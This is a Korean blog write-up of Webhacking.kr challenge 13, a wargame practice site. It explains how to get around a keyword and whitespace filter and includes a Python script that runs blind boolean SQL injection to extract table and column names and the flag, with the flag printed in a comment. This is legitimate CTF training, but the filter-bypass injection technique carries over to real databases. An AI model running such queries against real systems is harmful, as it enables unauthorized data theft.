Webhacking.kr 13번 문제풀이

동스토리 ㅣ 2020. 11. 16. 23:07

반응형

안녕하세요.

 

웹 해킹 13번 문제풀이 하겠습니다.

 

 

 

제출 입력 칸에 파라미터 no=1, no=2, no=3을 입력하였을 때, 아래와 같은 그림이 나온 것을 확인하였다. 

 

필터링되는 입력 값: + / * - 공백류 전체(\t,\n,\r,+,%0a,%0b,%0c ...등) and && = LIKE LIMIT WHERE GROUP ASCII /**/ 0x CHAR()

 

 

우리는 위와 같은 그림을 보아 참과 거짓 값을 이용하여 FLAG의 정보를 알아내야 할 것이다.

 

필터링되는 값에 =, LIKE ->  in 으로 공백-> ()으로 문자는 이진수로 우회하여 DB정보를 알아낼 것이다.

 

 

 

DB정보를 알아내기 위한 Python코드는 아래와 같다. (출처: donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-13-1000)

 

import urllib.request

URL = 'https://webhacking.kr/challenge/web-10/?no='
TRUE_PHRASE = '<td>1</td>'


def query(payload):
    req = urllib.request.Request(URL + payload)
    r = urllib.request.urlopen(req)
    content = r.read().decode('utf-8')
    return TRUE_PHRASE in content


# 13
def find_table_name_length():
    table_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)))IN({})'.format(table_name_len)) is False:
        table_name_len += 1
    print('table_name_len: {}'.format(table_name_len))
    return table_name_len


# flag_ab733768
def find_table_name():
    table_name_len = find_table_name_length()
    table_name = ''
    for pos in range(1, table_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})'.format(pos, character)) is True:
                table_name += chr(character)
                break
    print('table_name: {}'.format(table_name))
    return table_name


# 13
def find_column_name_length(table_name):
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)))IN({})'.format(table_name, column_name_len)) is False:
        column_name_len += 1
    print('column_name_len: {}'.format(column_name_len))
    return column_name_len


# flag_3a55b31d
def find_column_name(table_name):
    column_name_len = find_column_name_length(table_name)
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name = ''
    for pos in range(1, column_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})'.format(table_name, pos, character)) is True:
                column_name += chr(character)
                break
    print('column_name: {}'.format(column_name))
    return column_name


# 27
def find_flag_length(column_name, table_name):
    flag_len = 1
    while query('LENGTH((SELECT(MAX({}))FROM({})))IN({})'.format(column_name, table_name, flag_len)) is False:
        flag_len += 1
    print('flag_len: {}'.format(flag_len))
    return flag_len


# FLAG{challenge13gummyclear}
def find_flag():
    table_name = find_table_name()
    column_name = find_column_name(table_name)
    flag_len = find_flag_length(column_name, table_name)
    flag = ''
    for pos in range(1, flag_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})'.format(column_name, table_name, pos, character)) is True:
                flag += chr(character)
                break
    print('flag: {}'.format(flag))


find_flag()

 

결과로 나온 flag 값을 입력 후 제출하면 문제 해결~!

 

 

감사합니다.

 

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 15번 문제풀이  (0) 2020.11.26
Webhacking.kr 14번 문제풀이  (0) 2020.11.19
Webhacking.kr 12번 문제풀이  (0) 2020.11.09
Webhacking.kr 11번 문제풀이  (0) 2020.11.08
Webhacking.kr 10번 문제풀이  (0) 2020.11.08